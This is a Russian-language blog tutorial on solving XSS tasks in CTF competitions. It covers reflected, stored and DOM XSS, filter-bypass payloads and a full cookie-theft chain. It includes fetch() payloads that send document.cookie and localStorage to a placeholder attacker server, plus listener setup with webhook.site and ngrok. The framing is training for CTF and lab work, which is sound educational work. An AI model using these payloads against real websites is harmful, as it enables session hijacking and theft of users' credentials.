Главная / Блог / XSS в CTF: от отражённой инъекции до кражи куки — пошаговый разбор веб-задач

13 мин.00

XSS в CTF: от отражённой инъекции до кражи куки — пошаговый разбор веб-задач

XSS в CTF: от отражённой инъекции до кражи куки — пошаговый разбор веб-задач

XSS в CTF: от отражённой инъекции до кражи куки — пошаговый разбор веб-задач

Полгода назад на CTF среднего уровня мне попалась веб-задача с тремя слоями фильтрации: блеклист тегов, удаление on*-атрибутов и экранирование угловых скобок в одном из параметров. Два часа перебора пейлоадов — а решение уместилось в 27 символов через непокрытый контекст атрибута. Вот она, разница между «знаю, что такое Cross-Site Scripting» и «решаю XSS-задачи на CTF за 15 минут»: системное понимание контекстов инъекции и цепочки от первого alert(1) до реальной эксфильтрации куки бота.

Три типа XSS в веб-задачах CTF

Межсайтовый скриптинг в CTF делится на три категории, и каждая требует отдельного подхода к обнаружению и эксплуатации. Путаница между ними — причина 80% потерянного времени на соревнованиях. Разберёмся. Подробнее — в нашем руководстве по пентест веб-приложений.

Reflected XSS — пейлоад передаётся через параметр URL или тело запроса и отражается в ответе сервера без сохранения. В CTF это задачи, где нужно заставить бота перейти по специально сформированной ссылке (Malicious Link, T1204.001, Execution). Классический сценарий: страница поиска, которая выводит «Результаты для: ваш_запрос» без экранирования. Атака укладывается в один HTTP-запрос — кидаете URL боту, тот открывает страницу, пейлоад срабатывает. По моему опыту на HackerOne, примерно каждый третий веб-репорт связан с отражённой инъекцией в параметрах — reflected XSS до сих пор живее всех живых.

Stored XSS — пейлоад сохраняется на сервере и срабатывает у каждого, кто загружает страницу. В CTF это комментарии в гостевой книге, поля профиля, тикеты поддержки. По классификации OWASP (A03:2021 — Injection) — самый опасный тип XSS в реальных приложениях. В CTF он встречается чаще всего по простой причине: не нужно убеждать бота кликнуть по ссылке — он просто заходит на страницу с вашим пейлоадом. В writeup'е на Codeby по задаче HackerLab описан характерный кейс — stored XSS через заголовок User-Agent, который записывался в логи и отображался в панели администратора. Поле ввода, о котором разработчик просто забыл.

DOM-based XSS — пейлоад обрабатывается исключительно клиентским JavaScript без участия сервера. Данные попадают из «источника» (location.hash, location.search, document.referrer) в «приёмник» вроде innerHTML, document.write() или eval(). С точки зрения сервера ничего подозрительного не происходит — и в этом вся прелесть. В CTF задачи с DOM-based XSS маскируются под клиентские SPA-приложения, где роутинг идёт через hash-фрагмент URL.

Для CTF критично: тип XSS определяет не сам пейлоад, а способ доставки и хранения. Один и тот же <img src=x onerror=alert(1)> может быть и reflected, и stored — зависит от того, сохраняется ли он на сервере.

Цепочка атаки: от инъекции до флага

[Применимо: CTF веб-категория, bug bounty — внешний пентест]

XSS-задачи в CTF укладываются в чёткую kill chain, которая повторяется из соревнования в соревнование:

  1. Разведка — поиск точек отражения пользовательского ввода (Exploit Public-Facing Application, T1190, Initial Access)
  2. Инъекция JavaScript — внедрение кода через найденный контекст (JavaScript, T1059.007, Execution)
  3. Обход фильтров — преодоление санитизации через обфускацию пейлоада (Command Obfuscation, T1027.010)
  4. Эксфильтрация — кража куки или секрета, отправка на контролируемый сервер (Steal Web Session Cookie, T1539, Credential Access)
  5. Перехват сессии — использование украденных куки для входа от имени жертвы (Browser Session Hijacking, T1185, Collection)

В большинстве CTF-задач шаг 5 — это получение флага: подставляете украденную куки в свой браузер, открываете страницу от имени администратора, читаете флаг. Реже флаг спрятан в самих куки или доступен через CSRF-запрос от имени бота.

Зачем понимать цепочку целиком? Вы заранее готовите listener для приёма данных, шаблон пейлоада для эксфильтрации и механизм подстановки куки — остаётся адаптировать только часть инъекции под конкретную задачу. Экономия — десятки минут на каждом таске.

Reflected XSS атака: разбор типовой CTF-задачи

Требования к окружению

  • ОС: Kali Linux 2024+ / Ubuntu 22.04+ / Windows с WSL2
  • RAM: 4 ГБ минимум, 8 ГБ при запуске DVWA в Docker
  • Burp Suite Community Edition для перехвата и модификации запросов
  • Браузер с DevTools (Firefox — меньше ограничений на javascript: в адресной строке)
  • Для эксфильтрации: webhook.site (бесплатно, без регистрации) или python3 -m http.server + ngrok
  • Опционально: DVWA в Docker — docker run --rm -it -p 80:80 vulnerables/web-dvwa

Пошаговый подход

Шаг 1 — поиск отражения. Вставляете уникальную строку (например, xsstestcb2025) в каждый параметр: GET, POST, заголовки User-Agent, Referer, Cookie. Ищете эту строку в исходном коде ответа через Ctrl+U в браузере или через Burp Repeater. Каждое место, где строка отразилась — потенциальная точка инъекции.

Шаг 2 — определение контекста. Контекст отражения определяет пейлоад. Вот основные варианты:

Контекст Пример в коде Стратегия выхода
Содержимое HTML-тега <div>ВВОД</div> Вставить тег: <img src=x onerror=alert(1)>
Значение атрибута <input value="ВВОД"> Закрыть атрибут: " onfocus=alert(1) autofocus x="
Внутри <script> var a = 'ВВОД'; Закрыть строку: '; alert(1); //
Внутри <textarea> <textarea>ВВОД</textarea> Закрыть тег: </textarea><img src=x onerror=alert(1)>

Шаг 3 — проба фильтров. Отправляете строку '"<>(){}[];/\ и смотрите, что проходит, а что кодируется или удаляется. Если < и > превращаются в &lt; и &gt; — HTML-инъекция закрыта, но инъекция в контексте атрибута или скрипта может быть открыта. Удаляется слово script? Пробуете регистровые вариации, двойную запись или альтернативные теги.

Шаг 4 — формирование URL. Для reflected XSS формируете URL с пейлоадом и отправляете его боту через механизм задачи (форма «Report URL» или «Send link to admin»).

Типовая ошибка новичков — начинать с <script>alert(1)</script>. Этот пейлоад не работает при клиентской вставке через innerHTML, потому что inline-скрипты не выполняются после загрузки DOM. Надёжнее <img src=x onerror=alert(1)> — браузер пытается загрузить несуществующее изображение и немедленно вызывает обработчик ошибки. Согласно Practical CTF (Jorian Woltjer), этот пейлоад работает во всех браузерах при любом способе вставки, включая Firefox при клиентской вставке — единственный вариант, где голый <script> отказывает повсеместно.

Stored XSS пример: кража куки через комментарий

В CTF со stored XSS типовой сценарий: веб-приложение с функцией комментариев, симулированный пользователь-бот периодически просматривает все записи. Задача — разместить пейлоад, который при просмотре ботом отправит его куки на ваш сервер.

Как работает CTF-бот

Бот — headless-браузер (Puppeteer, Selenium или кастомный на базе Chrome DevTools Protocol), который загружает страницу с вашим комментарием. У бота установлена куки с флагом или сессия с доступом к защищённой странице. Шаблон для создания таких ботов доступен в репозитории CTF-XSS-BOT (dimasma0305/CTF-XSS-BOT на GitHub) — полезно, если хотите понять механику с другой стороны.

Цепочка эксплуатации:

  1. Публикуете комментарий с вредоносным JavaScript
  2. Бот открывает страницу — браузер выполняет скрипт в контексте домена приложения
  3. Скрипт считывает document.cookie и отправляет значение на ваш сервер через HTTP (Exfiltration Over C2 Channel, T1041)
  4. Получаете куки, подставляете в свой браузер, забираете флаг

Подготовка listener'а

Самый простой вариант — webhook.site: открываете сервис, получаете уникальный URL вида https://webhook.site/ваш-uuid, любой запрос к нему автоматически логируется. Никакой настройки, работает из коробки.

Если CTF-площадка блокирует внешние домены, поднимаете локальный сервер и пробрасываете через ngrok:

# Терминал 1: HTTP-сервер, логирующий входящие запросы
python3 -m http.server 8888
# Терминал 2: пробрасываем наружу
ngrok http 8888

Ngrok выдаст публичный URL — его используете в пейлоаде. В access-логе Python увидите запросы с данными.

Пейлоад для эксфильтрации

Подход из лабораторной работы PortSwigger по краже куки: вместо document.location или new Image().src используется fetch() с POST-запросом. Надёжнее, потому что не триггерит навигацию и не обрывает выполнение скрипта:

<script>
fetch('https://ВАШ-СЕРВЕР', {
  method: 'POST',
  mode: 'no-cors',
  body: document.cookie
});
</script>

Параметр mode: 'no-cors' критичен: без него браузер заблокирует кросс-доменный запрос. С no-cors запрос уйдёт, а ответ нам не нужен — нужен только факт доставки данных.

Если фильтр блокирует тег <script>, эквивалент через <img>: вставляете <img src=x onerror="fetch('https://ВАШ-СЕРВЕР',{method:'POST',mode:'no-cors',body:document.cookie})">. Та же функциональность, контекст выполнения — обработчик события, а не inline-скрипт.

После получения куки открываете DevTools → Application → Cookies, создаёте запись с полученным именем и значением для домена задачи. Обновляете страницу — вы залогинены как бот. По данным F5 community, в реальных сценариях после перехвата сессии администратора атакующий закрепляется через создание дополнительных аккаунтов или загрузку веб-шелла. В CTF хватает зайти на /admin или /flag.

DOM-based XSS в CTF-задачах

DOM XSS стоит особняком: пейлоад никогда не покидает клиент. Сервер возвращает одну и ту же страницу — разница в том, что JavaScript на ней небезопасно обрабатывает данные из URL.

Источники, приёмники и типовые связки

Источник (source) Приёмник (sink) Где встречается в CTF
location.hash innerHTML SPA с навигацией по хешу
location.search document.write() Страница с приветствием по имени
document.referrer eval() Аналитический скрипт
window.name innerHTML Кросс-доменная передача данных
postMessage innerHTML Межфреймовое взаимодействие

Типовая задача: на странице есть JavaScript document.getElementById('output').innerHTML = decodeURIComponent(location.hash.slice(1)). Хеш-фрагмент URL напрямую вставляется в DOM без санитизации. Пейлоад: http://target.com/page#<img src=x onerror=alert(document.cookie)>.

И вот тут ключевое отличие от reflected XSS: хеш-фрагмент (часть URL после #) не отправляется серверу. Серверные WAF и фильтры бессильны — обработка идёт целиком в браузере. В CTF это подсказка: если серверная фильтрация выглядит непробиваемой, копайте клиентский JavaScript на DOM-синки.

Поиск DOM XSS. Открываете исходный код и ищете паттерны: innerHTML, outerHTML, document.write, eval(), setTimeout() с пользовательскими данными в аргументе. В DevTools Chrome вкладка Sources позволяет поставить breakpoint на модификацию DOM (правый клик по элементу в Inspector → Break on → Subtree modifications). Быстрее, чем читать весь JavaScript вручную.

XSS payload: обход фильтров в CTF

Фильтрация — то, что делает XSS-задачи интересными. Голый <script>alert(1)</script> проходит только на начальном уровне сложности. Дальше начинается игра.

Обход блеклиста тегов

Когда фильтр удаляет конкретные теги (script, img, svg), работают несколько стратегий.

Двойная запись. Если фильтр делает однократный проход и удаляет <script>, конструкция <scr<script>ipt>alert(1)</scr</script>ipt> после фильтрации превращается в рабочий <script>alert(1)</script>. Трюк описан в «Курсе молодого CTF бойца» (cybber.ru) и работает на удивительном количестве задач до сих пор. Казалось бы, 2025 год — а однопроходные фильтры никуда не делись.

Альтернативные теги. Полный перечень HTML-элементов с обработчиками событий — на PortSwigger XSS Cheat Sheet (portswigger.net/web-security/cross-site-scripting/cheat-sheet). Там можно отфильтровать по конкретному тегу и увидеть допустимые события. Менее очевидные варианты: <details open ontoggle=alert(1)>, <marquee onstart=alert(1)>, <body onload=alert(1)>. Если фильтр проверяет фиксированный список — всегда найдётся тег вне его.

Пропуск закрывающей скобки. Регулярные выражения фильтров часто ожидают <[^>]+>. Без > в конце тег всё равно работает — следующий тег в документе закроет его за вас: <img src=x onerror=alert(1) (без завершающего >). Браузер парсит HTML очень лояльно. Слишком лояльно.

Кодирование и обфускация пейлоада

HTML-entities в атрибутах. Внутри значений атрибутов браузер декодирует HTML-сущности перед выполнением. Пейлоад <img src=x onerror="&#x61;lert(1)"> обойдёт фильтр, ищущий строку alert, потому что &#x61; — закодированная буква a. На выходе браузер получит alert(1).

Двойное URL-кодирование. Строка %253Cscript%253E (%25 кодирует %) срабатывает, когда сервер декодирует URL дважды — ситуация, характерная для PHP-приложений с middleware-цепочками. В CTF такую фильтрацию легко распознать: обычное URL-кодирование не проходит, но двойное — да.

JavaScript без скобок. Если фильтр блокирует круглые скобки, используется шаблонный литерал: alert`1` вместо alert(1). Для более сложных конструкций — onerror=alert с передачей аргумента через контекст ошибки, или location=name в связке с window.name, заданным на странице атакующего.

Контекстный выход

Самый частый паттерн в CTF средней сложности — инъекция в значение атрибута: <input value="ВВОД">. Если < и > экранируются, но кавычки нет — нельзя вставить новый тег, зато можно добавить атрибут: " autofocus onfocus="alert(1). Результат: <input value="" autofocus onfocus="alert(1)">. Атрибут autofocus заставляет элемент получить фокус автоматически, что триггерит onfocus без взаимодействия пользователя. Красиво.

Для контекста внутри <script>: если ввод попадает в JavaScript-строку var name = 'ВВОД';, классический выход — '; alert(1); //. Точка с запятой закрывает оператор, // комментирует остаток строки. Синтаксическая ошибка в JavaScript обрушит весь блок скрипта — поэтому важно «починить» код после инъекции.

Когда обход фильтров НЕ работает

Функция htmlspecialchars() в PHP с флагом ENT_QUOTES кодирует <, >, ", ' и & — в контексте HTML-тега это практически непробиваемая защита. CSP с директивой script-src 'self' без 'unsafe-inline' блокирует все inline-скрипты даже при успешной HTML-инъекции. DOMPurify в актуальных версиях не имеет публичных байпасов общего назначения.

Если в задаче встретили эти защиты — решение лежит не в классическом XSS. Ищите логическую уязвимость приложения, обход CSP через JSONP-эндпоинт на том же домене или эксплуатацию тега <base> для подмены базового URL загрузки скриптов. Я на этом моменте обычно переключаюсь с перебора пейлоадов на чтение исходников — быстрее находишь нестандартный вектор.

Кража куки XSS: полная цепочка

Сводка всей цепочки для типового CTF-сценария со stored XSS:

  1. Находите точку сохранения. Комментарий, профиль, тикет. Вставляете <b>test</b> — если текст жирный, HTML-инъекция работает. Видите &lt;b&gt; — экранирование, ищете другое поле. Некоторые задачи экранируют очевидные поля (текст комментария), но оставляют уязвимыми менее ожидаемые: имя пользователя, заголовок User-Agent
  2. Готовите listener. Webhook.site или python3 -m http.server + ngrok
  3. Публикуете пейлоад. fetch() с mode: 'no-cors' — см. код выше. При блокировке <script> используете обход через альтернативный тег
  4. Ждёте. Бот заходит на страницу. На listener'е появляется запрос с document.cookie
  5. Подставляете куки. DevTools → Application → Cookies → создаёте запись → обновляете страницу

Когда цель — не куки

Флаг не всегда в куки. Варианты:

  • В localStorage: пейлоад fetch('https://ВАШ-СЕРВЕР?d='+btoa(JSON.stringify(localStorage))) — кодирует содержимое хранилища в Base64 и отправляет
  • На защищённой странице: двухступенчатый скрипт — сначала fetch('/admin/flag'), затем пересылка ответа
  • В файловой системе (Server-Side XSS): в задачах с PDF-генерацией через wkhtmltopdf или PDFKit вставляется <iframe src=file:///flag.txt></iframe> — серверный рендер читает локальный файл. Именно этот вектор описан в разборе задачи root-me.org «XSS - Server Side»

Ограничения: когда XSS document.cookie не сработает

HttpOnly. Куки с этим флагом недоступна через document.cookie. По OWASP (A07:2021 — Identification and Authentication Failures), отсутствие HttpOnly — уязвимость, и современные фреймворки ставят его по умолчанию. В CTF задачах с HttpOnly меняете стратегию: вместо кражи куки выполняете действие от имени бота — CSRF-запрос к /admin/flag с пересылкой ответа.

Content Security Policy. Заголовок script-src 'self' запрещает inline-скрипты и подключение внешних ресурсов. Обход CSP — отдельная большая тема: JSONP-эндпоинты, подмена base-uri, template injection через Angular/React. В CTF уровня easy-medium CSP встречается редко, но на hard — постоянно.

SameSite cookies. SameSite=Strict ограничивает отправку куки при кросс-доменных запросах. Для stored XSS это не проблема (пейлоад на том же домене), но для reflected — может стать блокером, если бот переходит по ссылке с внешнего домена.

Сетевая изоляция. Некоторые CTF-площадки запрещают исходящие соединения из контейнера. Эксфильтрация через внешний сервер невозможна. Решение: заставить бота оставить данные внутри приложения — опубликовать комментарий с куки через XSS+CSRF или изменить видимый контент страницы. Изобретательность тут решает.

Минилаб для отработки веб-задач CTF

Для практики берите DVWA — стандартный тренажёр с уровнями Low, Medium и High для reflected, stored и DOM XSS. Установка одной командой: docker run --rm -it -p 80:80 vulnerables/web-dvwa, логин admin:password. Каждый уровень добавляет слой фильтрации. Low — без защиты. Medium — блеклист тегов. High — серьёзная санитизация с обходом через нестандартный контекст. На бумаге формула понятна, но bypass по-настоящему ощущается только когда сами прогоняете пейлоады и видите, что <script> молча исчезает, а <details ontoggle> проходит.

Для полноценной отработки cookie stealing поднимите второй контейнер с Flask-приложением, хранящим флаг в куки бота, и используйте Puppeteer как симуляцию. Шаблон XSS-бота для создания задач есть в репозитории CTF-XSS-BOT на GitHub (dimasma0305/CTF-XSS-BOT) — можно развернуть собственную задачу с ботом и тренироваться на полной цепочке от инъекции до перехвата сессии.

Мой главный вывод после сотни решённых XSS-задач: большинство CTF-игроков зависают не на самом пейлоаде, а на этапе определения контекста. Вставляют <script>alert(1)</script> в поле, где ввод попадает в атрибут value="", и не понимают, почему ничего не происходит. Контекст определяет всё — тег, атрибут, JavaScript-строка, URL — и под каждый нужен свой выход. Натренируйте глаз на идентификацию контекста до отправки первого пейлоада — время решения сократится в разы.

Вторая системная проблема — игнорирование полной цепочки. XSS в CTF — это не alert(1), а инъекция → выполнение → эксфильтрация → импакт. Я не раз видел, как команды получают всплывающее окно и считают задачу почти решённой, а потом ещё час бьются с отправкой куки, потому что в значении есть спецсимволы, ломающие URL. Решение: заранее собрать универсальный шаблон эксфильтрации (fetch + mode: 'no-cors' + ваш listener) и адаптировать только входную часть под конкретный фильтр. Если хочешь не просто решать задачи по writeup'ам, а пройти весь веб-вектор от разведки до захвата сессии самостоятельно — на WAPT эту цепочку разбирают с лабой на каждый кейс.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...